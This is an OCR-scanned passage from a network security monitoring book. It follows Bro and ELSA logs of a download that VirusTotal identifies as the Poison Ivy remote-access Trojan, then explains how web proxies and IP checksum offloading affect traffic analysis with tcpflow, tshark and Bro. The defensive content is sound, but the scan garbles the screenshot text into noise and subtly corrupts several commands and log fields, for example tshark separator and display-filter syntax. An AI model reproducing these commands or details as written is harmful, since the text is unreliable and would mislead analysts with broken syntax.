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ELSAy Admin v 1 node(s) with 1.1 million logs indexed and 19.0 million archive 


































































































Query helpdesk.exe Submit Query | Help 
From (2013-04-17 11:30:42| To AddTerm » | | ReportOn - | [ Index + | E Reuse current tab E] Grid display 
Malware Hash Registry Match (1) X elpdesk.exe x 
Result Options... » |Field Summary 
host(1) program(2) class(2) srcip(1) srcport(1) dstip(1) dstport(1) notice type(2) notice msg(1) status code(1) content length(1) 
method(1) site(1) uri(1) referer(1) user agent(1) 
Records: 3/ 3 588 ms ? first < pre 1 nex ast 15 - 

Timestamp s Fields 
1366293016.527990|MWypTHKbDqfl192.168.2.108/62585|205.186.148.46|80|tcp|HTTP::MD5|192.168.2.108 
b4f990cad1d20efab410e98fc7a6c81b 

Thu Apr 18 http://www.taosecurity.com/fielpdesk.exe|b4f990cad1d20efab410e98fc7a6c81b/192.168.2.108205.186.148.46/80].|soe- 

info 99-60-46 eth 1]Notice: :ACTION | LOGJ6[3600.000000]F]-|--1--I-I- 
1366293016.555895|192.168.2.108162585/205.186.148.46]80]tcp|HTTP::Malware Hash Registry Match/192.168.2.108 
b4f990cad1d20efab410e98fc7a6c81b http://www.taosecurity.com/hielpdesk.exe|.|192.168.2.108/205.186.148.46]80]- 

Info TPU Apr 18 

=< 09:50:16 srcport=62585 dstip=205.186.148.46 

ype-HTTP::Malware Hash Registry Match notic 192 168.2 108 
b4f990cad1d20efab4 10e98fc7a6c8 1b http://www.taosecurity.co: e 
1366293014.619944]MWypTHKbDqf1192.168.2.108/62585[205.186.148.46|80|1IGET|www.taosecurity.com|/helj 
IMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 
Safari/537.31|0|2141878|200/OK||-|-\(empty)|-|-|-|application/x- 
Thu Apr 18 dosexec|b4f990cad1d20efab410e98fc7a6c81b|/nsm/bro/extracted/http/http-item 192.168.2.108:62585- 
Info 99-59-20 _ 186.148.46:80_resp_1.dat 
iis bro http s-BRO HTTP srcip-192 168.2 108 srcport-6258 05.186.148.46 
nt_length=2141878 method=GET site=www.taosecurity.com uri-/Relpdesko 
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0 4410. 64 

Safari/37 31 

Records:3/3588 ms? <<frst <prev 1 next> last>> [15 [e] 


Figure 12-10: Querying ELSA for helpdesk.exe 


Identifying the Binary 


We know that Bro and SO performed a lookup for the binary based on an 
MD5 hash, and we know that a match was found because Bro reported a 
Malware Hash Registry Match event. We can take a different look at this result 
by querying ELSA using the hash and domain method demonstrated ear- 
lier in Figure 12-8. 

We'll modify the query slightly by adding a +127.0.0.2 after the hash 
and domain. The plus sign (+) tells ELSA to query for the term after it— 
specifically 127.0.0.2, which is the IP address that the MHR returns when 
Bro queries it for malware hashes. (We saw this difference in Listing 12-28.) 
Figure 12-11 shows the result of looking for MHR matches for the hash and 
domain b4f990cad1d20efab410e98fc7a6c81b .malware.hash.cymru.com. 




















ELSAv Adminy 1 node(s) with 1.1 million logs indexed and 19.0 million archived 
Query [b4f990cadd20efab4 10e98fc7a6c81b.malware-hash.cymru.com 4127.0.0.2 Submit Query | Help 
Erom (2013-04-17 11:30:42] To Add Term v | | ReportOn v E Reuse current tab [ Grid display 
| Malware Hash. Registry Match (1). X | helpdesk.exe (3) X| | b4990cad1d20efab410e98fc7a6c81b (4) a a oe Re RR TOI x | 
Pesut Options, esed 1) class(1) srcip(1) sreport(1) dstip(1) dstport(1) proto(1) hostname(1) answer( 
Records: 1/1898ms? <<! er 1 next> last» [15 [x 
„Timestamp, Fields 









1366293016.535580]0CCFpDANepl|192.168.2.102/36107|172.16.2.1/53|ud pJ50091| 
host-127 0.0.1 program-bro dns class=BRO_DNS srcip-192 168 2 102 srcport-3610; 


an: 


Thu Apr 18 
Info 99:50:20 





























Records: 1 / 1898 ms 2 fi pre 1 next> last [15 [e 





Figure 12-11: Querying ELSA for b4f990cad1d20efab410e98fc7a6c81b.malware.hash.cymru.com +127.0.0.2 
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We get one result. The presence of the 127.0.0.2 reply tells us that the 
MHR recognized the hash. 
At this point, we could take a few different paths to identify the binary: 


e Because the binary is stored in /nsm/bro/extracted/http/http-item 
192.168.2.108:62585-205.186.148.46:80 resp. I.dat, we could perform 


manual analysis. 
e We could submit the extracted binary to a third-party engine like VirusTotal. 


e We could submit the hash to VirusTotal, which returns the results 
shown in Figure 12-12. 


2 total 


SHA256: c71d8085544e6f8160301d9dd5cdí88369339a600 1bab8e4fda22deSec0fee31 EN 


File name: Poisonlvy2.3.2.exe 


=> 
Detection ao: 40/46 @s 09 


Analysis date: — 2013-04-11 17:29:22 UTC ( 6 days, 20 hours ago ) 


Analysis | 2C Relationships Additional information $9 Comments © Votes 


Antivirus Result Update 

Agnitum Backdoor.Poison!+BEF 1eYjgh4 20130409 
AhnLab-V3 Trojan/Win32.Poison 20130409 
AntiVir BDC/Poisonlw.A 20130410 


Antiy-AVL e 20130410 





Figure 12-12: VirusTotal results for submitting hash b4f990cad1d20efab410e98fc7a6c81b 


VirusTotal identifies the malware as a Poison Ivy variant—a popular 
remote-access Trojan (RAT) available from several websites. We hope the 
user identified through this case downloaded the tool only for testing pur- 
poses. If not, it's time to begin looking for signs of outbound command- 
and-control traffic, as described in Chapters 10 and 11. Good hunting! 


Conclusion 


This chapter has introduced you to four ways to extend and make better 
use of functions packaged with SO. We covered how Bro creates MD5 
hashes for executables, and showed how to use them with VirusTotal. We 
configured Bro to extract executable binaries from network traffic, and 
demonstrated how to integrate external intelligence from Mandiant's APTI 
report. We also generated alerts in Bro to simulate suspicious DNS lookups 
for an APTI domain. We finished the chapter by showing how SO reports 
and extracts the download of a malicious binary in production, which we 
learned was the Poison Ivy RAT. 

In the next chapter, we'll take a look at two challenges to conducting 
NSM: proxies and checksums. 
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Proxies 





PROXIES AND CHECKSUMS 


This chapter, aptly number 13, examines 
two unlucky features of conducting NSM 
on real networks: proxies and checksums. 
The term proxy refers to a piece of network infra- 
structure that some companies use to observe, control, 
and accelerate Internet usage. The term checksum, 


in the context of this chapter, refers to an error detection mechanism 
offered by the Internet Protocol (IP). This chapter describes some ways 
to cope with the problems caused by each of these features in operational 
environments. 


Web proxies are especially popular in corporate environments. One type 
of web proxy is tuned to handle traffic from web clients destined for web 
servers. 
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Some network and security administrators like proxies because they 
provide performance and security benefits. With proxies, users sometimes 
enjoy better access to content because that content is cached the first time 
any user views it, with subsequent users enjoying fast access to the cached 
copy. When users must send traffic through a proxy, administrators can try 
to protect the network by limiting their access to malicious sites. 

Figure 13-1 shows how a web proxy might work in a corporate environ- 
ment. Here, a web client with IP address 192.168.2.108 visits a web server 
at 205.186.148.46. The web client first establishes a session with the proxy, 
labeled CONNECTION 1. The proxy then connects to the web server on 
behalf of the client. That session is labeled CONNECTION 2. AII traffic 
between the client and server occurs over independent connections like 
these. 











CONNECTION 1 CONNECTION 2 
7 Location X < Location Y 
-Ə 
: Prox 
Web Client Es Web Server 
192.168.2.108 intemal; 192.168.2.1 205.186.148.46 


External: 172.16.2.1 


Figure 13-1: Sample web proxy setup 


Proxies and Visibility 


As you can see in Figure 13-1, some elements of visibility are lost when 
administrators deploy proxies. Instead of seeing only a true source IP 
address for the web client and a true destination IP address for the web 
server, we also see internal and external IP addresses for the proxy. The 
web client speaks to the proxy, which then speaks to the web server. When 
the web server replies, the direction is reversed. 

For example, an NSM platform watching traffic at location X in 
Figure 13-1 sees traffic with source IP address 192.168.2.108 and destina- 
tion IP address 192.168.2.1. An NSM platform at location Y sees traffic with 
source IP address 172.16.2.1 and destination IP address 205.186.148.46. 
There doesn't seem to be a single location where one sensor can see both 
the true source IP address (192.168.2.108) and true destination IP address 
(205.186.148.46) at once. This is a problem for analysts who rely on this 
information to detect and respond to intruders. 

Without access to sufficient logs, NSM analysts may actually see less 
when proxies are deployed. Sometimes they can access proxy logs, but those 
may not be easy to read. Sometimes analysts can capture network traffic 
directly on the proxy itself. For example, the proxy in Figure 13-1 is run- 
ning the pfSense (http://www.pfsense.org/) firewall with the Squid (Attp:// 
wwuw.squid-cache.org/) web proxy. Because the specific platform is a FreeBSD 
system in this example, we can collect traffic directly on the server. That is 
not usually the case in production, but we will leverage this situation in this 
chapter to gather network traffic and better understand the situation. 


Suppose you want to troubleshoot a perceived problem with the proxy 
in Figure 13-1. You decide to log full content traffic in pcap format using 
Tcpdump. You collect traffic from the internal interface in one trace file 
called bej-int.pcap. You then collect traffic in a separate session from the 
external interface in bej-ext.pcap. While sniffing each interface, you use a 
web client on 192.168.2.108 to visit the www.bejtlich.net web server. 

In order to look at the contents of the trace file, you manually generate 
a transcript using Tcpflow (hitps://github.com/simsong/tcpflow/), as shown in 
Listing 13-1. 





$ tcpflow -r bej-int.pcap 


$ ls -al 

total 56 

drwxrwxr-x 3 ds61so ds61so 4096 Apr 23 20:14 . 

drwxrwxr-x 4 ds61so ds61so 4096 Apr 23 20:05 .. 

-rw-rw-r-- 1 ds61so ds61so 3605 Apr 21 20:53 172.016.002.001.03128-192.168.002.108.509490 
-IW-IW-I-- 1 ds61so ds61so 376 Apr 21 20:53 192.168.002.108.50949-172.016.002.001.031280 





Listing 13-1: Using Tcpflow to generate transcripts manually on the bej-int.pcap trace file 


When run in this manner, Tcpflow generates two files. The first is traf- 
fic from the proxy to the client 0. The second is traffic from the client to 
the proxy @. 


Traffic from the Client to the Proxy 
Listing 13-2 shows the traffic from the client to the proxy in this example. 





$ cat 192.168.002.108.50949-172.016.002.001.03128 


GET http://www.bejtlich.net/6 HTTP/1.1 

Host: www.bejtlich.net 

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:20.0) Gecko/20100101 Firefox/20.0 
Accept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8 

Accept-Language: en-US,en;q=0.5 

Accept-Encoding: gzip, deflate 

DNT: 1 

Referer: http://www. taosecurity.com/training.html 

Connection: keep-alive 





Listing 13-2: Traffic from the client to the proxy 


At location X, notice that the GET request for hitp://www.bejtlich net/ @ is a 
bit different from normal GET requests. Unproxied web traffic would make a 
GET request to the / directory, not the entire URL, with something like GET /. 
Listing 13-3 shows the response from the proxy. 
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$ cat 172.016.002.001.03128-192.168.002.108.50949 


HTTP/1.0 200 OK 

Date: Sun, 21 Apr 2013 20:53:38 GMT 

Server: Apache/2 

Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT 
ETag: "2e800ed-c713-4d25031f1f600" 
Accept-Ranges: bytes 

Content-Length: 3195 

Content-Type: text/html; charset-UTF-8 
X-Cache: MISS from localhost® 
X-Cache-Lookup: MISS from localhost:31280 
Via: 1.1 localhost:3128 (squid/2.7.STABLE9)® 
Connection: keep-alive 

Proxy-Connection: keep-alive® 


@<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/ 
xhtmli-strict.dtd"» 

«html xmlns-"http://www.w3.0rg/1999/xhtml" xml:lang-"en"» 

«head» 

«meta http-equiv-"content-type" content-"text/html; charset-iso-8859-1" /» 

«meta name-"Richard Bejtlich" content-"Home page of TaoSecurity founder Richard Bejtlich" /» 
«meta name-"keywords" content-"bejtlich,taosecurity,network,security" /» 

-- snip -- 





Listing 13-3: Traffic from proxy to client as seen at location X 


Listing 13-3 includes four headers indicating that a proxy is involved. 
The headers at € and show that the proxy didn't have a locally cached 
copy of the requested content. The headers at ® and @ report the nature 
of the proxy connection. The last part, at 8, shows the beginning of the 
web page hosted at 205.186.148.46. 


Traffic from the Proxy to the Web Server 


Now let's use Tcpflow to see what traffic looks like when it goes from the 
proxy to a web server, as seen at location Y. Listing 13-4 shows how to gener- 
ate the transcripts against trace file bej-ext.pcap, which was captured on the 
proxy interface facing the web server. 





$ tcpflow -r bej-ext.pcap 


$ ls -al 

total 20 

drwxrwxr-x 2 ds61so ds61so 4096 Apr 23 20:33 . 

drwxrwxr-x 3 ds61so ds61so 4096 Apr 23 20:32 .. 

-IW-IW-I-- 1 ds61so ds61so 461 Apr 21 20:53 192.168.001.002.02770-205.186.148.046.000800 
-IW-IW-I-- 1 ds61so ds61so 3453 Apr 21 20:53 205.186.148.046.00080-192.168.001.002.027700 





Listing 13-4: Using Tcpflow to generate transcripts manually on the bej-ext.pcap trace file 
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Again, Tcpflow generates two files: traffic from the proxy to the 
server 6 and traffic from the server to the proxy 9. Let's look at traffic 
from the proxy to the server first, as shown in Listing 13-5. 





$ cat 192.168.001.002.02770-205.186.148.046.00080 


GET /6 HTTP/1.0 

Host: www.bejtlich.net 

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:20.0) Gecko/20100101 Firefox/20.0 
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 

Accept-Encoding: gzip, deflate 

DNT: 1 

Referer: http://www. taosecurity.com/training. html 

Via: 1.1 localhost:3128 (squid/2.7.STABLE9)@ 

X-Forwarded-For: 192.168.2.1080 

Cache-Control: max-age-259200 

Connection: keep-alive 


Listing 13-5: Traffic from the proxy to the server as seen at location Y 


Listing 13-5 includes several interesting features: 


e The resource visited by the proxy via the GET / request 6 resembles nor- 
mal web traffic seen elsewhere in the book. However, it differs from the 
proxied request shown in Listing 13-2. 


e The proxy includes a Via statement @ indicating the involvement of a 
Squid proxy. 

e The proxy reveals the true source IP address of the client making the 
web request in the X-Forwarded-For statement 6. 


Some security analysts worry that these "features," especially the X-Forwarded-For 
statement, will allow intruders operating malicious websites to see these headers and 
learn how a company’s internal network is configured. Security teams must balance 
the added visibility they gain against a perceived leakage of potentially sensitive infor- 
mation to outsiders. 


Listing 13-6 shows the response from the server. 


$ cat 205.186.148.046.00080-192.168.001.002.02770 


HTTP/1.1 200 OK 

Date: Sun, 21 Apr 2013 20:53:38 GMT 

Server: Apache/2 

Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT 
ETag: "2e800ed-c713-4d25031f1f600" 
Accept-Ranges: bytes 

Content-Length: 3195 

Connection: close 

Content-Type: text/html; charset=UTF-8 
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/ 
xhtmli-strict.dtd"» 

«html xmlns-"http://www.w3.0rg/1999/xhtml" xml:lang-"en"» 

«head» 
«meta http-equiv-"content-type" content-"text/html; charset-iso-8859-1" /» 

«meta name-"Richard Bejtlich" content-"Home page of TaoSecurity founder Richard Bejtlich" /» 
«meta name-"keywords" content-"bejtlich,taosecurity,network,security" /» 

-- snip -- 





Listing 13-6: Traffic from the server to the proxy as seen at location Y 
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As far as the web server in Listing 13-6 is concerned, the proxy is the sys- 
tem making the request. There is nothing special about what it sends back. 
(Notice in Listing 13-3 how the two differ, paying particular attention to 
the headers added by the proxy.) 


Dealing with Proxies in Production Networks 


CIRTs have four options when dealing with proxies in production networks: 


l. Tryto gain access to the logs generated by a proxy in order to see traf- 
fic from the proxy's perspective. 


2. Usethe techniques described in Chapter 2 to deploy multiple sensors 
with appropriate visibility. In this respect, a proxy is like a NAT issue— 
put sensors where you need them in order to see true source and desti- 
nation IP addresses. 


3. Make more extensive use of the information kept inside logs generated 
by proxy-aware NSM software. As shown in the transcripts in Listings 13-2, 
13-3, and 13-5, information about proxy use is available for review. 


4. Use software that can enable special features to track X-Forwarded-For 
headers and extract the client IP address when reporting alert data. 
(See the enable xff configuration option in Snort, for example.) 


The next part of this chapter will take the third approach. We'll use 
Bro to examine the traffic in these sample traces to see whether it can gen- 
erate information that helps us deal with proxies. Before dealing with our 
proxy problem, however, we need to take a slight detour into the world of 
IP checksums. 


Checksums 


Chapter 13 


IP headers contain a checksum as an error detection mechanism. Network 
devices calculate and insert checksums when they process packets. When 

a downstream device receives an IP packet, it calculates a checksum for 
that packet based on the contents of the IP header. For the purposes of the 
calculation, the equation sets the IP checksum field itself to zero. If the cal- 
culated checksum fails to match the checksum in the IP packet, the device 
may discard the packet. The device senses an error and deals with it by 
dropping the IP packet. 


A Good Checksum 


Figure 13-2 shows a checksum that is correct for the contents of a packet. 


: B: i Ai aA ETE 
d- - 
: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 


Ethernet II, Src: Cisco-Li 65:2f:ac (00:13:10:65:2f:ac), Dst: PcEngine 27:f1:48 (00:0d:b9:27:f1:48) 
E Internet Protocol version 4, Src: 192.168.2.108 (192.168.2.108), Dst: 172.16.2.1 (172.16.2.1) 
version: 4 
Header length: 20 bytes 
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport)) 
Total Length: 52 
Identification: OxO8fa (2298) 
Flags: 0x02 (Don't Fragment) 
Fragment offset: 0 
Time to live: 127 
Protocol: TCP (6) 
@ Header checksum: 0x81a4 [correct] 
Source: 192.168.2.108 (192.168.2.108) 
Destination: 172.16.2.1 (172.16.2.1) 
[source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 





0000 00 Od b9 27 f1 48 00 13 
0010 00 34 08 fa 40 00 7f 06 
0020 02 01 c7 05 Oc 38 64 fa 
0030 fa fO Oa eO 00 00 02 04 05 
0040 04 02 





zl 





4 

















Figure 13-2: Correct IP checksum of 0x81a4 in a TCP packet 


The IP checksum is 0x81a4 (0x means the value is represented in hexa- 
decimal). Wireshark appends the word [correct] after the checksum value 
to show that it calculated a checksum and found that it matched the value 
reported in the packet. (Note this is a TCP segment, but we are concerned 
only with the IP checksum here.) 


A Bad Checksum 


Figure 13-3 shows a checksum that is not correct for the contents of a packet. 


Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: PcEngine 27:f1:48 (00:0d:b9:27:f1:48), Dst: Cisco-Li 65:2f:ac (00:13:10:65:2f:ac) 
Version: 4 
Header length: 20 bytes 
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport)) 
Total Length: 52 
Identification: 0xb475 (46197) 
Flags: 0x02 (Don't Fragment) 
Fragment offset: 0 
Time to live: 64 
Protocol: TCP (6) 
ect, should be 0x1529 (may be caused by "IP checksum offload"?)] 


: 192.168.2.108 (192.168. 2.108) 
: unknown] 
[Destination GeoIP: Unknown] 


+ Transmission Control Protocol, Src Port: ndl-aas (3128), Dst Port: 50949 (50949), Seq: 0, Ack: 1, Len: O 





00 13 10 65 2f ac 00 Od b9 27 f1 48 PEST Y ESEFIA EN 8 
00 34 b4 75 40 00 40 06 ac 10 0: -4.u&.G. 3 P 
02 6c Oc 38 c7 05 c6 4b f2 64 fa LP E p 
Te 65 4f 35 00 00.02 04 05 b4 01 03 





Figure 13-3: Incorrect IP checksum of 0x0000 in a TCP packet 


Here, we see that the IP checksum is 0x0000. Wireshark doesn't like 
this value. It reports concern via a red bar over the IP header entry and the 
words [incorrect, should be 0x1529 (may be caused by “IP checksum offload"?)]. 
Wireshark shows that it calculated a checksum that didn't match the value 
reported in the packet. (This is also a TCP segment.) 
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Identifying Bad and Good Checksums with Tshark 


Tshark offers a few helpful ways to quickly review checksums. We'll use 
the traffic we collected in “Proxies” on page 289 as our sample data. We're 
supposed to be troubleshooting performance, and we expect to rely on 
those traces to answer our questions. First, look at the trace file recorded 
at location X, as shown in Listing 13-7. 





$ tshark -n -r bej-int.pcap -T fields -E separator-/t -e ip.src -e tcp.srcport 
-e ip.dst -e tcp.dstport -e ip.checksum 


Source IP SrcPort Destination IP DstPort IP Checksum 
192.168.2.108 50949 172.16.2.1 3128 0x81a4 
172.16.2.1 3128 192.168.2.108 50949 . 0x0000 
192.168.2.108 50949 172.16.2.1 3128 Ox81af 
192.168.2.108 50949 172.16.2.1 3128 0x8036 
172.16.2.1 3128 192.168.2.108 50949 . 0x0000 
172.16.2.1 3128 192.168.2.108 50949 . 0x0000 
192.168.2.108 50949 172.16.2.1 3128 Ox81ad 
172.16.2.1 3128 192.168.2.108 50949 . 0x0000 
192.168.2.108 50949 172.16.2.1 3128 0x81a5 
172.16.2.1 3128 192.168.2.108 50949 0x0000 
172.16.2.1 3128 192.168.2.108 50949 . 0x0000 
192.168.2.108 50949 172.16.2.1 3128 0x81a4 





Listing 13-7: Custom Tshark output for the bej-int.pcap trace file 


Listing 13-7 invokes a few new switches to display only the information 
that concerns us. We used the -T fields and -E separator-/t switches to tell 
Tshark we wanted specific parts of the packets to be displayed and we wanted 
those fields printed with tabs between them. Using the -e switches, we told 
Tshark just which parts of the packets we wanted. (I added the headers after 
the command line to make it easier for you to recognize the fields.) 

Looking at the last column, it seems odd that every packet from 
172.16.2.1 has a checksum of 0x0000. When we saw that same occurrence 
in Wireshark, the tool reported a checksum error. 

We can invoke Tshark again to tell us which packets have miscalculated 
checksums, as shown in Listing 13-8. 





$ tshark -n -r bej-int.pcap -T fields -E separator-/t -e ip.src -e tcp.srcport 
-e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum bad--1" 


172.16.2.1 3128 192.168.2.108 50949 6 0x0000 
172.16.2.1 3128 192.168.2.108 50949 6 0x0000 
172.16.2.1 3128 192.168.2.108 50949 6 0x0000 
172.16.2.1 3128 192.168.2.108 50949 6 0x0000 
172.16.2.1 3128 192.168.2.108 50949 6 0x0000 
172.16.2.1 3128 192.168.2.108 50949 6 0x0000 


Listing 13-8: Tshark output for sample trace file showing only bad checksums 


In Listing 13-8, we add the display filter -R "ip.checksum bad--1". This 
tells Tshark to show only packets whose checksums do not match the values 
Tshark thinks they should have. If you want to see only packets with good 
checksums, try the command shown in Listing 13-9. 





$ tshark -n -r bej-int.pcap -T fields -E separator-/t -e ip.src -e tcp.srcport 
-e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum good--1" 


192.168.2.108 50949 172.16.2.1 3128 6 0x81a4 
192.168.2.108 50949 172.16.2.1 3128 6 Ox81af 
192.168.2.108 50949 172.16.2.1 3128 6 0x8036 
192.168.2.108 50949 172.16.2.1 3128 6 Ox81ad 
192.168.2.108 50949 172.16.2.1 3128 6 0x81a5 
192.168.2.108 50949 172.16.2.1 3128 6 0x81a4 





Listing 13-9: Tshark output for sample trace file showing only good checksums 


In Listing 13-9, we add the display filter -R "ip.checksum_good==1". This 
tells Tshark to show only packets whose checksums match the values Tshark 
thinks they should have. You could get the same results for Listing 13-8 
using the display filter -R "ip.checksum good--0" and the same results for 
Listing 13-9 using the display filter -R "ip.checksum bad--0". 

Before investigating why we're getting these bad checksums, let's see 
whether they also appear in bej-ext.pcap. As we did with Listing 13-7, we can 
show the key elements of a trace file using Tshark. Listing 13-10 provides 
the syntax and output. 





$ tshark -n -r ../bej-ext.pcap -T fields -E separator-/t -e ip.src -e tcp. 
srcport -e ip.dst -e tcp.dstport -e ip.checksum 


192.168.1.2 2770 205.186.148.46 80 0x0000 
205.186.148.46 80 192.168.1.2 2770 Ox5b28 
192.168.1.2 2770 205.186.148.46 80 0x0000 
192.168.1.2 2770 205.186.148.46 80 0x0000 
205.186.148.46 80 192.168.1.2 2770 0x9597 
205.186.148.46 80 192.168.1.2 2770 Ox8fee 
192.168.1.2 2770 205.186.148.46 80 0x0000 
205.186.148.46 80 192.168.1.2 2770 Ox8fed 
192.168.1.2 2770 205.186.148.46 80 0x0000 
205.186.148.46 80 192.168.1.2 2770 0x9367 
192.168.1.2 2770 205.186.148.46 80 0x0000 
192.168.1.2 2770 205.186.148.46 80 0x0000 
192.168.1.2 2770 205.186.148.46 80 0x0000 
205.186.148.46 80 192.168.1.2 2770 0x9593 





Listing 13-10: Custom Tshark output for the bej-ext.pcap trace file 


In Listing 13-10, the proxy is 192.168.1.2, and the server is 205.186.148.46, 
offering web services on port 80 TCP. Again, we see suspicious IP checksums 
(0x0000) on all packets from the proxy to the web server. As with bej-int.pcap, 
the system generating IP traffic with bad checksums is the proxy. Why? 
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How Bad Checksums Happen 


IP checksums occasionally fail to match the intended values due to errors 
introduced over the Internet. These errors are exceptionally rare, however, 
unless a real network problem is involved. How did so many checksums 
fail in Listings 13-7 and 13-10, and why are those failures so consistent? 
The error reported by Wireshark in Figure 13-3, [incorrect, should be 
0x1529 (may be caused by "IP checksum offload"?)], can help us answer those 
questions. 

Traditionally, the operating system and network stack were responsible 
for calculating IP checksums, but modern network drivers and some NICs 
assume that burden. This process, called offloading, allows the network stack 
to send traffic quickly. Calculating checksums can be done quickly in the 
driver or, better yet, by dedicated hardware. 

Frequent IP checksum errors like those in Listings 13-7 and 13-10 will 
interfere with your ability to conduct NSM. Traces with bad checksums are 
often the result of capturing network traffic on a platform that offloads the 
checksum process to a driver or hardware. The packet seen by the network 
security tool has a 0x0000, or empty, checksum, but the *real" packet sent 
on the wire has a true checksum calculated and added to the packet by the 
driver or hardware. (When SO configures network interfaces, the setup 
script disables driver and hardware checksum offloading in an effort to 
avoid these issues.) 

In our scenario, the proxy relies on checksum offloading to speed up 
the transmission of network traffic. Unfortunately, the software on the 
proxy sets a 0x0000 IP checksum on all outgoing packets. Before the packet 
hits the wire, though, the driver or NIC hardware calculates and inserts 
a proper checksum. Packets received from other devices have the correct 
checksums. 


Bro and Bad Checksums 


Now that we've looked at good and bad IP checksums, let's examine why 
they matter. Some network security tools assume that packets with a bad IP 
checksum will never be processed by the receiving network endpoint. The 
network security tool drops the packet. Unfortunately, these bad checksums 
might simply be caused by offloading. 

Bro ignores traffic with bad IP checksums. For example, notice how it 
processes the bej-int.pcap trace file, as shown in Listing 13-11. 





$ sudo bro -r bej-int.pcap /opt/bro/share/bro/site/local.bro 


WARNING: No Site::local nets have been defined. It's usually a good idea to define your local 
networks. 

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-{{interface}}/bpf- 
bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) 

WARNING: Template value remaining in BPFConf filename: /etc/nsm/ds61so0-{{interface}}/bpf-bro. 
conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) 





Listing 13-11: Bro reads the bej-int.pcap trace file. 
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Nothing odd appears by default, but take a look at weird.log, shown in 
Listing 13-12. 





$ cat weird.log 


#separator \x09 
#set_separator , 
Hempty field (empty) 
#unset_field - 


#path weird 

#open  2013-04-23-19-40-10 

#fields ts uid id.orig h id.orig p id.resp h id.resp p name 
addl notice peer 

#types time string addr port addr port string string bool string 
1366577618. 249515 7 - - - - bad_IP_checksum - F 
bro 

1366577618. 251250 rhdNNjfMGkc 192.168.2.108 50949 172.16.2.1 3128 
@possible split routing - F bro 

1366577618. 251867 rhdNNjfMGkc 192.168.2.108 50949 172.16.2.1 3128 
Odata before established - F bro 


#close 2013-04-23-19-40-10 
Listing 13-12: Bro weird.log file 


The first entry reports possible split routing ® because Bro is seeing only 
half the traffic, namely packets from 192.168.2.108 to 172.16.2.1. These were 
the packets in Listing 13-9 with good IP checksums. The second entry reports 
data before established @ because Bro didn't see a complete TCP three-way 
handshake. When Bro misses the three-way handshake, it's confused when it 
sees data transmitted before the session was properly established. 

The Bro Attf.log file is also odd, as shown in Listing 13-13. 





$ cat http.log 


#separator \x09 
#set_separator , 
#empty_field (empty) 
#unset_field - 


#path http 
#open | 2013-04-23-19-40-10 
#fields ts uid id.orig h id.orig p id.resp h id.resp p trans - 
depth method host uri referrer user agent request body len 
response body len status code status msg info code info msg filename 
tags username password proxied mime type md5 extraction file 
#types time string addr port addr port count string string string string 
string count count count string count string string table[enum] string string 
table[string] string string file 
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1366577618.251867 rhdNNjfMGkc 192.168.2.108 50949 172.16.2.1 3128 1 


GETO www.bejtlich.net http: //www.bejtlich.net/ http: //www.taosecurity. 
com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:20.0) Gecko/20100101 
Firefox/20.0 0 0 - - - - - (empty) - - - 


#close 2013-04-23-19-40-10 





Listing 13-13: Bro http.log file 
We see a GET request here 6, but no indication of a reply. 


Setting Bro to Ignore Bad Checksums 


We can tell Bro to shut off its checksum verification and process all traffic 
using the -C switch, as shown in Listing 13-14. 





$ sudo bro -r bej-int.pcap -C /opt/bro/share/bro/site/local.bro 


WARNING: No Site::local nets have been defined. It's usually a good idea to define your local 
networks. 

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-{{interface}}/bpf- 
bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) 


WARNING: 1366577618.694909 Template value remaining in BPFConf filename: /etc/nsm/ds61so- 
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) 





Listing 13-14: Bro reads the trace file and ignores checksums. 


Now there is no weird.log. If we look at Attf.log, we'll see that it's what 
we've come to expect. Listing 13-15 shows the results. 





$ cat http.log 


#separator \x09 
#set_separator , 
#empty_field (empty) 
#unset_field - 

#path http 

Hopen | 2013-04-23-20-06-19 


#fields ts uid id.orig h id.orig p id.resp h id.resp p trans - 
depth method host uri referrer user agent request body len 

response body len status code status msg info code info msg filename 
tags username password proxied mime type md5 extraction file 

#types time string addr port addr port count string string string string 
string count count count string count string string table[enum] string string 


table[string] string string file 
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1366577618.251867 aqjpeHaXm7f ^ 192.168.2.108 50949  172.16.2.1 3128 1 


GETO www.bejtlich.net http://www. bejtlich.net/@® http://www. taosecurity. 
com/training. html Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:20.0) Gecko/20100101 

Firefox/20.0 0 3195 200 oke - - - (empty) - - 

- text/html® - - 


#close 2013-04-23-20-06-19 





Listing 13-15: Bro http.log file for bej-int.pcap with checksum validation disabled 


Now we see not only the GET request 6 for hitp://www.bejtlich.net/ @ but 
also a record of the server's 200 0K reply 6 and indication that the page 
returned was text/html 0. You could perform similar analysis concerning 
Bro's handling of bej-ext.pcap to see how it works when processing and ignor- 
